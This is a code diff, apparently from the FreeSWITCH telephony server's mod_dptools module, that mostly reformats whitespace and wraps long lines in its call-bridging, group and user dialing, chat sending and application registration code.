||||
'false' to not continue.
|
||||
A list of codes either names or numbers eg "user_busy,normal_temporary_failure,603"
|
||||
failure_causes acts as the opposite version
|
||||
failure_causes acts as the opposite version
|
||||
EXCEPTION... ATTENDED_TRANSFER never is a reason to continue.......
|
||||
*/
|
||||
if (cause != SWITCH_CAUSE_ATTENDED_TRANSFER) {
|
||||
if (continue_on_fail || failure_causes) {
|
||||
const char *cause_str;
|
||||
char cause_num[35] = "";
|
||||
|
||||
|
||||
cause_str = switch_channel_cause2str(cause);
|
||||
switch_snprintf(cause_num, sizeof(cause_num), "%u", cause);
|
||||
|
||||
|
||||
if (failure_causes) {
|
||||
char *lbuf = switch_core_session_strdup(session, failure_causes);
|
||||
char *argv[256] = { 0 };
|
||||
int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
int i, x = 0;
|
||||
|
||||
|
||||
for (i = 0; i < argc; i++) {
|
||||
if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
|
||||
x++;
|
||||
@@ -2374,7 +2379,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
}
|
||||
}
|
||||
if (!x) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
"Failure causes [%s]: Cause: %s\n", failure_causes, cause_str);
|
||||
return;
|
||||
}
|
||||
@@ -2388,10 +2393,10 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
char *argv[256] = { 0 };
|
||||
int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
int i;
|
||||
|
||||
|
||||
for (i = 0; i < argc; i++) {
|
||||
if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
"Continue on fail [%s]: Cause: %s\n", continue_on_fail, cause_str);
|
||||
return;
|
||||
}
|
||||
@@ -2410,7 +2415,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
}
|
||||
return;
|
||||
} else {
|
||||
|
||||
|
||||
if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE)) {
|
||||
switch_ivr_signal_bridge(session, peer_session);
|
||||
} else {
|
||||
@@ -2439,10 +2444,10 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_BYPASS_MEDIA_AFTER_BRIDGE_VARIABLE))) {
|
||||
switch_channel_set_flag(caller_channel, CF_BYPASS_MEDIA_AFTER_BRIDGE);
|
||||
}
|
||||
|
||||
|
||||
switch_ivr_multi_threaded_bridge(session, peer_session, func, a_key, b_key);
|
||||
}
|
||||
|
||||
|
||||
if (peer_session) {
|
||||
switch_core_session_rwunlock(peer_session);
|
||||
}
|
||||
@@ -2452,17 +2457,19 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
/* fake chan_error */
|
||||
switch_endpoint_interface_t *error_endpoint_interface;
|
||||
static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
switch_io_routines_t error_io_routines = {
|
||||
/*.outgoing_channel */ error_outgoing_channel
|
||||
};
|
||||
|
||||
static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
switch_call_cause_t cause = switch_channel_str2cause(outbound_profile->destination_number);
|
||||
if (cause == SWITCH_CAUSE_NONE) {
|
||||
@@ -2476,17 +2483,19 @@ static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session
|
||||
/* fake chan_group */
|
||||
switch_endpoint_interface_t *group_endpoint_interface;
|
||||
static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
switch_io_routines_t group_io_routines = {
|
||||
/*.outgoing_channel */ group_outgoing_channel
|
||||
};
|
||||
|
||||
static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
char *group = NULL;
|
||||
switch_call_cause_t cause = SWITCH_CAUSE_NONE;
|
||||
@@ -2501,33 +2510,32 @@ static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session
|
||||
|
||||
group = strdup(outbound_profile->destination_number);
|
||||
|
||||
if (!group) goto done;
|
||||
|
||||
if (!group)
|
||||
goto done;
|
||||
|
||||
if ((domain = strchr(group, '@'))) {
|
||||
*domain++ = '\0';
|
||||
} else {
|
||||
domain = switch_core_get_variable("domain");
|
||||
}
|
||||
|
||||
|
||||
if (!domain) {
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (var_event && (skip=switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
|
||||
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
|
||||
(var = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
if (var_event && (skip = switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
|
||||
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
timelimit = atoi(var);
|
||||
}
|
||||
var_event = NULL;
|
||||
}
|
||||
|
||||
template = switch_mprintf("${group_call(%s@%s)}", group, domain);
|
||||
|
||||
|
||||
if (session) {
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
dest = switch_channel_expand_variables(channel, template);
|
||||
if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
|
||||
(var = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
timelimit = atoi(var);
|
||||
}
|
||||
} else if (var_event) {
|
||||
@@ -2542,28 +2550,27 @@ static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session
|
||||
if (!dest) {
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
if (var_event) {
|
||||
cid_name_override = switch_event_get_header(var_event, "origination_caller_id_name");
|
||||
cid_num_override = switch_event_get_header(var_event, "origination_caller_id_number");
|
||||
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
|
||||
(var = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
timelimit = atoi(var);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if ((flags & SOF_FORKED_DIAL)) {
|
||||
myflags |= SOF_NOBLOCK;
|
||||
}
|
||||
|
||||
|
||||
if (switch_ivr_originate(session, new_session, &cause, dest, timelimit, NULL,
|
||||
|
||||
|
||||
if (switch_ivr_originate(session, new_session, &cause, dest, timelimit, NULL,
|
||||
cid_name_override, cid_num_override, NULL, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
|
||||
const char *context;
|
||||
switch_caller_profile_t *cp;
|
||||
|
||||
|
||||
new_channel = switch_core_session_get_channel(*new_session);
|
||||
|
||||
|
||||
if ((context = switch_channel_get_variable(new_channel, "group_context"))) {
|
||||
if ((cp = switch_channel_get_caller_profile(new_channel))) {
|
||||
cp->context = switch_core_strdup(cp->pool, context);
|
||||
@@ -2578,9 +2585,9 @@ static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session
|
||||
if (dest && dest != template) {
|
||||
switch_safe_free(dest);
|
||||
}
|
||||
|
||||
switch_safe_free(template);
|
||||
switch_safe_free(group);
|
||||
|
||||
switch_safe_free(template);
|
||||
switch_safe_free(group);
|
||||
|
||||
if (cause == SWITCH_CAUSE_NONE) {
|
||||
cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
|
||||
@@ -2596,7 +2603,8 @@ switch_endpoint_interface_t *user_endpoint_interface;
|
||||
static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
switch_io_routines_t user_io_routines = {
|
||||
/*.outgoing_channel */ user_outgoing_channel
|
||||
};
|
||||
@@ -2604,7 +2612,8 @@ switch_io_routines_t user_io_routines = {
|
||||
static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
|
||||
switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
switch_xml_t x_domain = NULL, xml = NULL, x_user = NULL, x_group = NULL, x_param, x_params;
|
||||
char *user = NULL, *domain = NULL;
|
||||
@@ -2622,22 +2631,22 @@ static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
|
||||
|
||||
user = strdup(outbound_profile->destination_number);
|
||||
|
||||
if (!user) goto done;
|
||||
if (!user)
|
||||
goto done;
|
||||
|
||||
if ((domain = strchr(user, '@'))) {
|
||||
*domain++ = '\0';
|
||||
} else {
|
||||
domain = switch_core_get_variable("domain");
|
||||
}
|
||||
|
||||
|
||||
if (!domain) {
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
if (var_event && (skip=switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
|
||||
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
|
||||
(var = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
|
||||
if (var_event && (skip = switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
|
||||
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
timelimit = atoi(var);
|
||||
}
|
||||
var_event = NULL;
|
||||
@@ -2744,7 +2753,7 @@ static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
|
||||
switch_event_dup(&event, var_event);
|
||||
switch_event_del_header(event, "dialed_user");
|
||||
switch_event_del_header(event, "dialed_domain");
|
||||
if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
|
||||
if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
|
||||
(varval = switch_event_get_header(var_event, "leg_timeout"))) {
|
||||
timelimit = atoi(varval);
|
||||
}
|
||||
@@ -2765,10 +2774,12 @@ static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
|
||||
|
||||
switch_snprintf(stupid, sizeof(stupid), "user/%s", user);
|
||||
if (switch_stristr(stupid, d_dest)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n", stupid);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n",
|
||||
stupid);
|
||||
cause = SWITCH_CAUSE_INVALID_IE_CONTENTS;
|
||||
} else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL,
|
||||
cid_name_override, cid_num_override, outbound_profile, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
|
||||
} else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL,
|
||||
cid_name_override, cid_num_override, outbound_profile, var_event, myflags,
|
||||
cancel_cause) == SWITCH_STATUS_SUCCESS) {
|
||||
const char *context;
|
||||
switch_caller_profile_t *cp;
|
||||
|
||||
@@ -2812,7 +2823,7 @@ static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
|
||||
if (params) {
|
||||
switch_event_destroy(¶ms);
|
||||
}
|
||||
|
||||
|
||||
if (var_event && var_event_orig != var_event) {
|
||||
switch_event_destroy(&var_event);
|
||||
}
|
||||
@@ -2851,7 +2862,7 @@ SWITCH_STANDARD_APP(wait_for_silence_function)
|
||||
uint32_t thresh, silence_hits, listen_hits, timeout_ms = 0;
|
||||
int argc;
|
||||
char *lbuf = NULL;
|
||||
|
||||
|
||||
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))
|
||||
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 3) {
|
||||
thresh = atoi(argv[0]);
|
||||
@@ -2869,8 +2880,8 @@ SWITCH_STANDARD_APP(wait_for_silence_function)
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", WAIT_FOR_SILENCE_SYNTAX);
|
||||
}
|
||||
|
||||
@@ -2880,12 +2891,17 @@ static switch_status_t event_chat_send(const char *proto, const char *from, cons
|
||||
switch_event_t *event;
|
||||
|
||||
if (switch_event_create(&event, SWITCH_EVENT_RECV_MESSAGE) == SWITCH_STATUS_SUCCESS) {
|
||||
if (proto) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Proto", proto);
|
||||
if (from) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "From", from);
|
||||
if (subject) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Subject", subject);
|
||||
if (hint) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hint", hint);
|
||||
if (body) switch_event_add_body(event, "%s", body);
|
||||
if (to) {
|
||||
if (proto)
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Proto", proto);
|
||||
if (from)
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "From", from);
|
||||
if (subject)
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Subject", subject);
|
||||
if (hint)
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hint", hint);
|
||||
if (body)
|
||||
switch_event_add_body(event, "%s", body);
|
||||
if (to) {
|
||||
const char *v;
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "To", to);
|
||||
if ((v = switch_core_get_variable(to))) {
|
||||
@@ -2899,18 +2915,18 @@ static switch_status_t event_chat_send(const char *proto, const char *from, cons
|
||||
|
||||
switch_event_destroy(&event);
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_STATUS_MEMERR;
|
||||
}
|
||||
|
||||
static switch_status_t api_chat_send(const char *proto, const char *from, const char *to, const char *subject,
|
||||
const char *body, const char *type, const char *hint)
|
||||
{
|
||||
if (to) {
|
||||
if (to) {
|
||||
const char *v;
|
||||
switch_stream_handle_t stream = { 0 };
|
||||
char *cmd = NULL, *arg;
|
||||
|
||||
|
||||
if (!(v = switch_core_get_variable(to))) {
|
||||
v = to;
|
||||
}
|
||||
@@ -2928,16 +2944,15 @@ static switch_status_t api_chat_send(const char *proto, const char *from, const
|
||||
switch_api_execute(cmd, arg, NULL, &stream);
|
||||
|
||||
if (proto) {
|
||||
switch_core_chat_send(proto, "api", to, hint && strchr(hint, '/') ? hint : from,
|
||||
!zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
|
||||
switch_core_chat_send(proto, "api", to, hint && strchr(hint, '/') ? hint : from, !zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
|
||||
}
|
||||
|
||||
switch_safe_free(stream.data);
|
||||
|
||||
|
||||
free(cmd);
|
||||
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -2998,7 +3013,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
|
||||
|
||||
SWITCH_ADD_CHAT(chat_interface, "event", event_chat_send);
|
||||
SWITCH_ADD_CHAT(chat_interface, "api", api_chat_send);
|
||||
|
||||
|
||||
SWITCH_ADD_API(api_interface, "strepoch", "Convert a date string into epoch time", strepoch_api_function, "<string>");
|
||||
SWITCH_ADD_API(api_interface, "chat", "chat", chat_api_function, "<proto>|<from>|<to>|<message>|[<content-type>]");
|
||||
SWITCH_ADD_API(api_interface, "strftime", "strftime", strftime_api_function, "<format_string>");
|
||||
@@ -3016,7 +3031,8 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
|
||||
SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "check_acl", "Check an ip against an ACL list", "Check an ip against an ACL list", check_acl_function,
|
||||
"<ip> <acl | cidr> [<hangup_cause>]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "verbose_events", "Make ALL Events verbose.", "Make ALL Events verbose.", verbose_events_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "verbose_events", "Make ALL Events verbose.", "Make ALL Events verbose.", verbose_events_function, "",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "early_hangup", "Enable early hangup", "", early_hangup_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "sleep", "Pause a channel", SLEEP_LONG_DESC, sleep_function, "<pausemilliseconds>", SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "delay_echo", "echo audio at a specified delay", "Delay n ms", delay_function, "<delay ms>", SAF_NONE);
|
||||
@@ -3027,19 +3043,23 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
|
||||
SWITCH_ADD_APP(app_interface, "answer", "Answer the call", "Answer the call for a channel.", answer_function, "", SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "hangup", "Hangup the call", "Hangup the call for a channel.", hangup_function, "[<cause>]", SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "set_name", "Name the channel", "Name the channel", set_name_function, "<name>", SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "presence", "Send Presence", "Send Presence.", presence_function, "<rpid> <status> [<id>]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "presence", "Send Presence", "Send Presence.", presence_function, "<rpid> <status> [<id>]",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "info", "Display Call Info", "Display Call Info", info_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "event", "Fire an event", "Fire an event", event_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "sound_test", "Analyze Audio", "Analyze Audio", sound_test_function, "", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "export", "Export a channel variable across a bridge", EXPORT_LONG_DESC, export_function, "<varname>=<value>",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "set_global", "Set a global variable", SET_GLOBAL_LONG_DESC, set_global_function, "<varname>=<value>",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "set_profile_var", "Set a caller profile variable", SET_PROFILE_VAR_LONG_DESC, set_profile_var_function,
|
||||
"<varname>=<value>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "unset", "Unset a channel variable", UNSET_LONG_DESC, unset_function, "<varname>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "unset", "Unset a channel variable", UNSET_LONG_DESC, unset_function, "<varname>",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "ring_ready", "Indicate Ring_Ready", "Indicate Ring_Ready on a channel.", ring_ready_function, "", SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "remove_bugs", "Remove media bugs", "Remove all media bugs from a channel.", remove_bugs_function, "", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "break", "Break", "Set the break flag.", break_function, "", SAF_SUPPORT_NOMEDIA);
|
||||
@@ -3063,21 +3083,22 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
|
||||
SWITCH_ADD_APP(app_interface, "sched_transfer", SCHED_TRANSF_DESCR, SCHED_TRANSF_DESCR, sched_transfer_function,
|
||||
"[+]<time> <extension> <dialplan> <context>", SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "execute_extension", "Execute an extension", "Execute an extension", exe_function, EXE_SYNTAX, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat",
|
||||
SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat",
|
||||
sched_heartbeat_function, SCHED_HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat",
|
||||
SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat",
|
||||
heartbeat_function, HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "mkdir", "Create a directory", "Create a directory", mkdir_function, MKDIR_SYNTAX, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "soft_hold", "Put a bridged channel on hold", "Put a bridged channel on hold", soft_hold_function, SOFT_HOLD_SYNTAX,
|
||||
SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "bind_meta_app", "Bind a key to an application", "Bind a key to an application", dtmf_bind_function, BIND_SYNTAX,
|
||||
SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "unbind_meta_app", "Unbind a key from an application", "Unbind a key from an application", dtmf_unbind_function,
|
||||
SWITCH_ADD_APP(app_interface, "unbind_meta_app", "Unbind a key from an application", "Unbind a key from an application", dtmf_unbind_function,
|
||||
UNBIND_SYNTAX, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "intercept", "intercept", "intercept", intercept_function, INTERCEPT_SYNTAX, SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "eavesdrop", "eavesdrop on a uuid", "eavesdrop on a uuid", eavesdrop_function, eavesdrop_SYNTAX, SAF_MEDIA_TAP);
|
||||
SWITCH_ADD_APP(app_interface, "three_way", "three way call with a uuid", "three way call with a uuid", three_way_function, threeway_SYNTAX, SAF_MEDIA_TAP);
|
||||
SWITCH_ADD_APP(app_interface, "set_user", "Set a User", "Set a User", set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC );
|
||||
SWITCH_ADD_APP(app_interface, "three_way", "three way call with a uuid", "three way call with a uuid", three_way_function, threeway_SYNTAX,
|
||||
SAF_MEDIA_TAP);
|
||||
SWITCH_ADD_APP(app_interface, "set_user", "Set a User", "Set a User", set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "stop_dtmf", "stop inband dtmf", "Stop detecting inband dtmf.", stop_dtmf_session_function, "", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "start_dtmf", "Detect dtmf", "Detect inband dtmf on the session", dtmf_session_function, "", SAF_MEDIA_TAP);
|
||||
SWITCH_ADD_APP(app_interface, "stop_dtmf_generate", "stop inband dtmf generation", "Stop generating inband dtmf.",
|
||||
@@ -3092,11 +3113,11 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
|
||||
SWITCH_ADD_APP(app_interface, "park_state", "Park State", "Park State", park_state_function, "", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "gentones", "Generate Tones", "Generate tones to the channel", gentones_function, "<tgml_script>[|<loops>]", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "playback", "Playback File", "Playback a file to the channel", playback_function, "<path>", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "endless_playback", "Playback File Endlessly", "Endlessly Playback a file to the channel",
|
||||
SWITCH_ADD_APP(app_interface, "endless_playback", "Playback File Endlessly", "Endlessly Playback a file to the channel",
|
||||
endless_playback_function, "<path>", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "att_xfer", "Attended Transfer", "Attended Transfer", att_xfer_function, "<channel_url>", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "read", "Read Digits", "Read Digits", read_function, "<min> <max> <file> <var_name> <timeout> <terminators>", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "play_and_get_digits", "Play and get Digits", "Play and get Digits",
|
||||
SWITCH_ADD_APP(app_interface, "play_and_get_digits", "Play and get Digits", "Play and get Digits",
|
||||
play_and_get_digits_function, "<min> <max> <tries> <timeout> <terminators> <file> <invalid_file> <var_name> <regexp>", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "stop_record_session", "Stop Record Session", STOP_SESS_REC_DESC, stop_record_session_function, "<path>", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "record_session", "Record Session", SESS_REC_DESC, record_session_function, "<path> [+<timeout>]", SAF_MEDIA_TAP);
|
||||
@@ -3116,8 +3137,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
|
||||
SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "say", "say", "say", say_function, SAY_SYNTAX, SAF_NONE);
|
||||
|
||||
SWITCH_ADD_APP(app_interface, "wait_for_silence", "wait_for_silence", "wait_for_silence", wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX, SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "session_loglevel", "session_loglevel", "session_loglevel", session_loglevel_function, SESSION_LOGLEVEL_SYNTAX, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "wait_for_silence", "wait_for_silence", "wait_for_silence", wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX,
|
||||
SAF_NONE);
|
||||
